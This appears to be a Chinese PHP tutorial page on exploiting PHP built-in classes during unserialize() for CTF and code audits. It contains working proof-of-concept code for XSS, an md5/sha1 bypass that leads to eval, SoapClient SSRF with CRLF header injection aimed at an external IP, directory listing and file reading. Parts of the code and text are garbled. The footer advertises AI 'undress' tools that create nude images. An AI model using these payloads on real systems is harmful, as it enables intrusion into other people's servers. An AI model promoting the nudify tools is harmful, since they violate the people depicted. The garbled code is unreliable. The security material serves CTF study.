本篇文章為大家?guī)?lái)了關(guān)於PHP的相關(guān)知識(shí)，其中主要介紹了關(guān)於反序列化原生類別的利用，如果在程式碼審計(jì)或ctf中，有反序列化的功能點(diǎn)，但是卻不能構(gòu)造出完整的pop鏈，那這時(shí)我們?cè)撊绾纹凭帜兀旅嬉黄饋?lái)看一下，希望對(duì)大家有幫助。
推薦學(xué)習(xí)：《PHP影片教學(xué)》
淺析php反序列化原生類別的利用
如果在程式碼審計(jì)或ctf中，有反序列化的功能點(diǎn)，但是卻不能構(gòu)造出完整的pop鏈，那這時(shí)我們?cè)撊绾纹凭帜?？我們可以嘗試從php原生類別下手，php有些原生類別中內(nèi)建一些魔術(shù)方法，如果我們巧妙建構(gòu)可控參數(shù)，觸發(fā)並利用其內(nèi)建魔術(shù)方法，就有可能達(dá)到一些我們想要的目的。
一、常見(jiàn)魔術(shù)方法
__wakeup()?//執(zhí)行unserialize()時(shí)，先會(huì)調(diào)用這個(gè)函數(shù) __sleep()?//執(zhí)行serialize()時(shí)，先會(huì)調(diào)用這個(gè)函數(shù) __destruct()?//對(duì)象被銷毀時(shí)觸發(fā) __call()?//在對(duì)象上下文中調(diào)用不可訪問(wèn)的方法時(shí)觸發(fā) __callStatic()?//在靜態(tài)上下文中調(diào)用不可訪問(wèn)的方法時(shí)觸發(fā) __get()?//用于從不可訪問(wèn)的屬性讀取數(shù)據(jù)或者不存在這個(gè)鍵都會(huì)調(diào)用此方法 __set()?//用于將數(shù)據(jù)寫入不可訪問(wèn)的屬性 __isset()?//在不可訪問(wèn)的屬性上調(diào)用isset()或empty()觸發(fā) __unset()?//在不可訪問(wèn)的屬性上使用unset()時(shí)觸發(fā) __toString()?//把對(duì)象當(dāng)作字符串使用時(shí)觸發(fā) __invoke()?//當(dāng)嘗試將對(duì)象調(diào)用為函數(shù)時(shí)觸發(fā)
二、原生類別中的魔術(shù)方法
我們採(cǎi)用下面腳本遍歷一下所有原生類別中的魔術(shù)方法
<?php $classes = get_declared_classes();foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}}三、一些常見(jiàn)原生類別的利用
Error/Exception
Error是所有PHP內(nèi)部錯(cuò)誤類別的基底類別。 (PHP 7, 8)
**Error::__toString ** error 的字串表達(dá)
傳回 Error 的 string表達(dá)形式。
Exception是所有使用者層級(jí)例外的基底類別。 (PHP 5, 7, 8)
**Exception::__toString ** 將例外物件轉(zhuǎn)換為字串
回傳轉(zhuǎn)換為字串（string）類型的例外。
類別屬性
message 錯(cuò)誤訊息內(nèi)容
code 錯(cuò)誤代碼
file 拋出錯(cuò)誤的檔名
line 拋出錯(cuò)誤的行數(shù)
XSS
__toString方法會(huì)傳回錯(cuò)誤或例外的字串形式，其中包含我們輸入的參數(shù)，如果我們建構(gòu)一串xss程式碼，結(jié)合echo渲染，將觸發(fā)反射形xss漏洞
範(fàn)例：
<?php $a = unserialize($_GET['a']);echo $a;
POC：
<?php $a = new Error("<script>alert('xss')");$b?=?serialize($a);echo?urlencode($b);
#hash繞過(guò)
##先看一題
[2020 極客大挑戰(zhàn)]Greatphp
<?phperror_reporting (0);class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc?!=?$this->lover)?&&?(md5($this->syc)?===?md5($this->lover))?&&?(sha1($this->syc)===?sha1($this->lover))?){
???????????if(!preg_match("/\syc,?$match)){
???????????????eval($this->syc);
???????????}?else?{
???????????????die("Try?Hard?!!");
???????????}
????????}
????}}if?(isset($_GET['great'])){
????unserialize($_GET['great']);}?else?{
????highlight_file(__FILE__);}#需要繞過(guò)兩個(gè)hash強(qiáng)比較，且最終需要建構(gòu)eval程式碼執(zhí)行##顯然正常方法是行不通的，而透過(guò)原生類別可進(jìn)行繞過(guò)
同樣，當(dāng)md5()和sha1()函數(shù)處理物件時(shí)，會(huì)自動(dòng)呼叫__tostring方法
先簡(jiǎn)單看一下其輸出
<?php $a=new Error("payload",1);$b=new Error("payload",2);$c=new Exception("payload",3);
$d=new Exception("payload",4);
echo $a."<br>";
echo?$b."<br>";
echo?$c."<br>";
echo?$d;
可以發(fā)現(xiàn)，這兩個(gè)原生類別回傳的資訊除了行號(hào)一模一樣，利用這點(diǎn)，我們可以嘗試進(jìn)行hash函數(shù)的繞過(guò)，需要注意的是，必須將兩個(gè)傳入的物件放到同一行
因此我們可以進(jìn)行簡(jiǎn)單的測(cè)試,發(fā)現(xiàn)使用此方法可以繞過(guò)hash強(qiáng)(弱)函數(shù)比較
<?php $a = new Error("payload",1);$b = new Error("payload",2);if ($a!=$b){
echo '$a不等于$b'."\n";}if (md5($a)===md5($b)){
echo "md5值相等\n";}if (sha1($a)===sha1($b)){
echo "sha1值相等";}
根據(jù)這些知識(shí)點(diǎn)，我們可以輕鬆建構(gòu)payload
??<?phpclass SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc?!=?$this->lover)?&&?(md5($this->syc)?===?md5($this->lover))?&&?(sha1($this->syc)===?sha1($this->lover))?){
???if(!preg_match("/\syc,?$match)){
???eval($this->syc);
???}?else?{
???die("Try?Hard?!!");
???}
???
}
}}$str?=?"?>=include~".urldecode("%D0%99%93%9E%98")."?>";//兩次取反繞過(guò)正則$a=new?Error($str,1);
$b=new?Error($str,2);
$c?=?new?SYCLOVER();$c->syc?=?$a;$c->lover?=?$b;
echo(urlencode(serialize($c)));?>SoapClient
SoapClient是一個(gè)專門用來(lái)存取web服務(wù)的類，可以提供一個(gè)基於SOAP協(xié)定存取Web服務(wù)的PHP 用戶端，可以建立soap資料封包，與wsdl介面進(jìn)行互動(dòng)soap擴(kuò)充模組預(yù)設(shè)關(guān)閉，使用時(shí)需手動(dòng)開(kāi)啟
#SoapClient::__call—呼叫SOAP 函數(shù)(PHP 5, 7, 8)通常，SOAP 函數(shù)可以作為SoapClient物件的方法呼叫
#SSRF建構(gòu)子：
public?SoapClient?::?SoapClient(mixed?$wsdl?[，array?$options?]) 第一個(gè)參數(shù)是用來(lái)指明是否是wsdl模式，如果為`null`，那就是非wsdl模式。 第二個(gè)參數(shù)為一個(gè)數(shù)組，如果在wsdl模式下，此參數(shù)可選；如果在非wsdl模式下，則必須設(shè)置location和uri選項(xiàng)，其中l(wèi)ocation是要將請(qǐng)求發(fā)送到的SOAP服務(wù)器的URL，而uri?是SOAP服務(wù)的目標(biāo)命名空間。
什麼是soap
SOAP?是基于?XML?的簡(jiǎn)易協(xié)議，是用在分散或分布的環(huán)境中交換信息的簡(jiǎn)單的協(xié)議，可使應(yīng)用程序在?HTTP?之上進(jìn)行信息交換 SOAP是webService三要素（SOAP、WSDL、UDDI）之一：WSDL?用來(lái)描述如何訪問(wèn)具體的接口，?UDDI用來(lái)管理，分發(fā)，查詢webService?，SOAP（簡(jiǎn)單對(duì)象訪問(wèn)協(xié)議）是連接或Web服務(wù)或客戶端和Web服務(wù)之間的接口。 其采用HTTP作為底層通訊協(xié)議，XML作為數(shù)據(jù)傳送的格式。
我們建構(gòu)一個(gè)利用payload，第一個(gè)參數(shù)為NULL，第二個(gè)參數(shù)的location設(shè)定為vps位址
<?php $a = new SoapClient(null, array( 'location' =>?'http://47.102.146.95:2333',? 'uri'?=>'uri', 'user_agent'=>'111111')); $b?=?serialize($a); echo?$b; $c?=?unserialize($b); $c->a();
監(jiān)聽(tīng)vps的2333端口，如下圖所示成功觸發(fā)SSRF，vps收到了請(qǐng)求訊息
且可以看到SOAPAction和user_agent都可控
#本地測(cè)試時(shí)發(fā)現(xiàn)，當(dāng)使用此內(nèi)建類別(即soap協(xié)定)請(qǐng)求存在服務(wù)的連接埠時(shí)，會(huì)立即報(bào)錯(cuò)，而去存取不存在服務(wù)(未佔(zhàn)用)的連接埠時(shí)，會(huì)等待一段時(shí)間報(bào)錯(cuò)，可以以此進(jìn)行內(nèi)網(wǎng)資產(chǎn)的偵測(cè)。
如果配合CRLF漏洞，還可以透過(guò) SoapClient 來(lái)控制其他參數(shù)或post傳送資料。例如:HTTP協(xié)定去攻擊Redis
CRLF知識(shí)擴(kuò)充
HTTP報(bào)文的結(jié)構(gòu)：狀態(tài)行和首部中的每行以CRLF結(jié)束，首部與主體之間由一空行分隔。 CRLF注入漏洞，是因?yàn)閃eb應(yīng)用沒(méi)有對(duì)用戶輸入做嚴(yán)格驗(yàn)證，導(dǎo)致攻擊者可以輸入一些惡意字符。 攻擊者一旦向請(qǐng)求行或首部中的字段注入惡意的CRLF(\r\n)，就能注入一些首部字段或報(bào)文主體，并在響應(yīng)中輸出。
透過(guò)結(jié)合CRLF，我們利用SoapClient CRLF便可以乾更多的事情，例如插入自訂Cookie，
<?php $a = new SoapClient(null, array(
'location' =>?'http://47.102.146.95:2333',
????'uri'?=>'uri',
????'user_agent'=>"111111\r\nCookie:?PHPSESSION=dasdasd564d6as4d6a"));
????$b?=?serialize($a);echo?$b;$c?=?unserialize($b);$c->a();發(fā)送POST的數(shù)據(jù)包，這里需要將Content-Type設(shè)置為application/x-www-form-urlencoded，我們可以通過(guò)添加兩個(gè)\r\n來(lái)將原來(lái)的Content-Type擠下去，自定義一個(gè)新的Content-Type
<?php $a = new SoapClient(null, array(
'location' =>?'http://47.102.146.95:2333',
????'uri'?=>'uri',
????'user_agent'=>"111111\r\nContent-Type:?application/x-www-form-urlencoded\r\nX-Forwarded-For:?127.0.0.1\r\nCookie:?PHPSESSID=3stu05dr969ogmprk28drnju93\r\nContent-Length:?10\r\n\r\npostdata"));
????$b?=?serialize($a);echo?$b;$c?=?unserialize($b);$c->a();
看一道ctfshow上的題，完美利用上述知識(shí)點(diǎn)
$xff?=?explode(',',?$_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip?=?array_pop($xff);?//獲取xff頭
if($ip!=='127.0.0.1'){
????die('error');
}else{
????$token?=?$_POST['token'];
????if($token=='ctfshow'){
????????file_put_contents('flag.txt',$flag);
????}
}poc：
<?php $target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' =>?$target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type:?application/x-www-form-urlencoded'.'^^Content-Length:?'.(string)strlen($post_string).'^^^^'.$post_string,'uri'=>?"ssrf"));
$a?=?serialize($b);
$a?=?str_replace('^^',"\r\n",$a);
echo?urlencode($a);
?>DirectoryIterator/FilesystemIterator
DirectoryIterator類提供了一個(gè)簡(jiǎn)單的接口來(lái)查看文件系統(tǒng)目錄的內(nèi)容。
DirectoryIterator::__toString 獲取字符串形式的文件名 （PHP 5,7,8）
目錄遍歷
使用此內(nèi)置類的__toString方法結(jié)合glob或file協(xié)議，即可實(shí)現(xiàn)目錄遍歷
例如:
<?php $a = new DirectoryIterator("glob:///*");
foreach ($a as $b){
echo $b.'<br>';
}FilesystemIterator繼承于DirectoryIterator，兩者作用和用法基本相同，區(qū)別為FilesystemIterator會(huì)顯示文件的完整路徑，而DirectoryIterator只顯示文件名
因?yàn)榭梢耘浜鲜褂胓lob偽協(xié)議(查找匹配的文件路徑模式)，所以可以繞過(guò)open_basedir的限制
在php4.3以后使用了zend_class_unserialize_deny來(lái)禁止一些類的反序列化，很不幸的是這兩個(gè)原生類都在禁止名單當(dāng)中
SplFileObject
SplFileObject 類為單個(gè)文件的信息提供了一個(gè)面向?qū)ο蟮母呒?jí)接口
(PHP 5 >= 5.1.2, PHP 7, PHP 8)
文件讀取
SplFileObject::__toString — 以字符串形式返回文件的路徑
<?phphighlight_file (__file__);$a = new SplFileObject("./flag.txt");echo $a;/*foreach($context as $f){
echo($a);
}*/如果沒(méi)有遍歷的話只能讀取第一行，且受到open_basedir影響
SimpleXMLElement
解析XML 文檔中的元素。 （PHP 5、PHP 7、PHP 8）
SimpleXMLElement::__construct — 創(chuàng)建一個(gè)新的 SimpleXMLElement 對(duì)象
XXE
我們查看一下其參數(shù)：
根據(jù)官方文檔，發(fā)現(xiàn)當(dāng)?shù)谌齻€(gè)參數(shù)為True時(shí)，即可實(shí)現(xiàn)遠(yuǎn)程xml文件載入，第二個(gè)參數(shù)的常量值設(shè)置為2即可。
利用可參考賽題：[SUCTF 2018]Homework
ReflectionMethod
獲取注釋內(nèi)容
(PHP 5 >= 5.1.0, PHP 7, PHP 8)
ReflectionFunctionAbstract::getDocComment — 獲取注釋內(nèi)容
由該原生類中的getDocComment方法可以訪問(wèn)到注釋的內(nèi)容
同時(shí)可利用的原生類還有ZipArchive– 刪除文件等等，不在敘述
推薦學(xué)習(xí)：《PHP視頻教程》
以上是深入了解PHP反序列化原生類的詳細(xì)內(nèi)容。更多資訊請(qǐng)關(guān)注PHP中文網(wǎng)其他相關(guān)文章！
熱AI工具
Undress AI Tool
免費(fèi)脫衣圖片
Undresser.AI Undress
人工智慧驅(qū)動(dòng)的應(yīng)用程序，用於創(chuàng)建逼真的裸體照片
AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。
Clothoff.io
AI脫衣器
Video Face Swap
使用我們完全免費(fèi)的人工智慧換臉工具，輕鬆在任何影片中換臉！
熱門文章
熱工具
記事本++7.3.1
好用且免費(fèi)的程式碼編輯器
SublimeText3漢化版
中文版，非常好用
禪工作室 13.0.1
強(qiáng)大的PHP整合開(kāi)發(fā)環(huán)境
Dreamweaver CS6
視覺(jué)化網(wǎng)頁(yè)開(kāi)發(fā)工具
SublimeText3 Mac版
神級(jí)程式碼編輯軟體(SublimeText3)
如何用PHP搭建社交分享功能 PHP分享接口集成實(shí)戰(zhàn)
Jul 25, 2025 pm 08:51 PM
在PHP中搭建社交分享功能的核心方法是通過(guò)動(dòng)態(tài)生成符合各平臺(tái)要求的分享鏈接。 1.首先獲取當(dāng)前頁(yè)面或指定的URL及文章信息；2.使用urlencode對(duì)參數(shù)進(jìn)行編碼；3.根據(jù)各平臺(tái)協(xié)議拼接生成分享鏈接；4.在前端展示鏈接供用戶點(diǎn)擊分享；5.動(dòng)態(tài)生成頁(yè)面OG標(biāo)籤優(yōu)化分享內(nèi)容展示；6.務(wù)必對(duì)用戶輸入進(jìn)行轉(zhuǎn)義以防止XSS攻擊。該方法無(wú)需複雜認(rèn)證，維護(hù)成本低，適用於大多數(shù)內(nèi)容分享需求。
PHP調(diào)用AI智能語(yǔ)音助手 PHP語(yǔ)音交互系統(tǒng)搭建
Jul 25, 2025 pm 08:45 PM
用戶語(yǔ)音輸入通過(guò)前端JavaScript的MediaRecorderAPI捕獲並發(fā)送至PHP後端；2.PHP將音頻保存為臨時(shí)文件後調(diào)用STTAPI（如Google或百度語(yǔ)音識(shí)別）轉(zhuǎn)換為文本；3.PHP將文本發(fā)送至AI服務(wù)（如OpenAIGPT）獲取智能回復(fù)；4.PHP再調(diào)用TTSAPI（如百度或Google語(yǔ)音合成）將回復(fù)轉(zhuǎn)為語(yǔ)音文件；5.PHP將語(yǔ)音文件流式返回前端播放，完成交互。整個(gè)流程由PHP主導(dǎo)數(shù)據(jù)流轉(zhuǎn)與錯(cuò)誤處理，確保各環(huán)節(jié)無(wú)縫銜接。
如何用PHP結(jié)合AI實(shí)現(xiàn)文本糾錯(cuò) PHP語(yǔ)法檢測(cè)與優(yōu)化
Jul 25, 2025 pm 08:57 PM
要實(shí)現(xiàn)PHP結(jié)合AI進(jìn)行文本糾錯(cuò)與語(yǔ)法優(yōu)化，需按以下步驟操作：1.選擇適合的AI模型或API，如百度、騰訊API或開(kāi)源NLP庫(kù)；2.通過(guò)PHP的curl或Guzzle調(diào)用API並處理返回結(jié)果；3.在應(yīng)用中展示糾錯(cuò)信息並允許用戶選擇是否採(cǎi)納；4.使用php-l和PHP_CodeSniffer進(jìn)行語(yǔ)法檢測(cè)與代碼優(yōu)化；5.持續(xù)收集反饋並更新模型或規(guī)則以提升效果。選擇AIAPI時(shí)應(yīng)重點(diǎn)評(píng)估準(zhǔn)確率、響應(yīng)速度、價(jià)格及對(duì)PHP的支持。代碼優(yōu)化應(yīng)遵循PSR規(guī)範(fàn)、合理使用緩存、避免循環(huán)查詢、定期審查代碼，並藉助X
PHP打造博客評(píng)論系統(tǒng)變現(xiàn) PHP評(píng)論審核與防刷策略
Jul 25, 2025 pm 08:27 PM
1.評(píng)論系統(tǒng)商業(yè)價(jià)值最大化需結(jié)合原生廣告精準(zhǔn)投放、用戶付費(fèi)增值服務(wù)（如上傳圖片、評(píng)論置頂）、基於評(píng)論質(zhì)量的影響力激勵(lì)機(jī)制及合規(guī)匿名數(shù)據(jù)洞察變現(xiàn)；2.審核策略應(yīng)採(cǎi)用前置審核 動(dòng)態(tài)關(guān)鍵詞過(guò)濾 用戶舉報(bào)機(jī)制組合，輔以評(píng)論質(zhì)量評(píng)分實(shí)現(xiàn)內(nèi)容分級(jí)曝光；3.防刷需構(gòu)建多層防禦：reCAPTCHAv3無(wú)感驗(yàn)證、Honeypot蜜罐字段識(shí)別機(jī)器人、IP與時(shí)間戳頻率限制阻止灌水、內(nèi)容模式識(shí)別標(biāo)記可疑評(píng)論，持續(xù)迭代應(yīng)對(duì)攻擊。
如何用PHP結(jié)合AI做圖像生成 PHP自動(dòng)生成藝術(shù)作品
Jul 25, 2025 pm 07:21 PM
PHP不直接進(jìn)行AI圖像處理，而是通過(guò)API集成，因?yàn)樗瞄L(zhǎng)Web開(kāi)發(fā)而非計(jì)算密集型任務(wù)，API集成能實(shí)現(xiàn)專業(yè)分工、降低成本、提升效率；2.整合關(guān)鍵技術(shù)包括使用Guzzle或cURL發(fā)送HTTP請(qǐng)求、JSON數(shù)據(jù)編解碼、API密鑰安全認(rèn)證、異步隊(duì)列處理耗時(shí)任務(wù)、健壯錯(cuò)誤處理與重試機(jī)制、圖像存儲(chǔ)與展示；3.常見(jiàn)挑戰(zhàn)有API成本失控、生成結(jié)果不可控、用戶體驗(yàn)差、安全風(fēng)險(xiǎn)和數(shù)據(jù)管理難，應(yīng)對(duì)策略分別為設(shè)置用戶配額與緩存、提供prompt指導(dǎo)與多圖選擇、異步通知與進(jìn)度提示、密鑰環(huán)境變量存儲(chǔ)與內(nèi)容審核、雲(yún)存
PHP實(shí)現(xiàn)商品庫(kù)存管理變現(xiàn) PHP庫(kù)存同步與報(bào)警機(jī)制
Jul 25, 2025 pm 08:30 PM
PHP通過(guò)數(shù)據(jù)庫(kù)事務(wù)與FORUPDATE行鎖確保庫(kù)存扣減原子性，防止高並發(fā)超賣；2.多平臺(tái)庫(kù)存一致性需依賴中心化管理與事件驅(qū)動(dòng)同步，結(jié)合API/Webhook通知及消息隊(duì)列保障數(shù)據(jù)可靠傳遞；3.報(bào)警機(jī)制應(yīng)分場(chǎng)景設(shè)置低庫(kù)存、零/負(fù)庫(kù)存、滯銷、補(bǔ)貨週期和異常波動(dòng)策略，並按緊急程度選擇釘釘、短信或郵件通知責(zé)任人，且報(bào)警信息需完整明確，以實(shí)現(xiàn)業(yè)務(wù)適配與快速響應(yīng)。
超越燈堆：PHP在現(xiàn)代企業(yè)體系結(jié)構(gòu)中的作用
Jul 27, 2025 am 04:31 AM
PHPisstillrelevantinmodernenterpriseenvironments.1.ModernPHP(7.xand8.x)offersperformancegains,stricttyping,JITcompilation,andmodernsyntax,makingitsuitableforlarge-scaleapplications.2.PHPintegrateseffectivelyinhybridarchitectures,servingasanAPIgateway
PHP集成AI語(yǔ)音識(shí)別與轉(zhuǎn)寫 PHP會(huì)議記錄自動(dòng)生成方案
Jul 25, 2025 pm 07:06 PM
選擇合適AI語(yǔ)音識(shí)別服務(wù)並集成PHPSDK；2.用PHP調(diào)用ffmpeg將錄音轉(zhuǎn)為API要求格式（如wav）；3.上傳文件至雲(yún)存儲(chǔ)並調(diào)用API異步識(shí)別；4.解析JSON結(jié)果並用NLP技術(shù)整理文本；5.生成Word或Markdown文檔完成會(huì)議記錄自動(dòng)化，全過(guò)程需確保數(shù)據(jù)加密、訪問(wèn)控制與合規(guī)性以保障隱私安全。
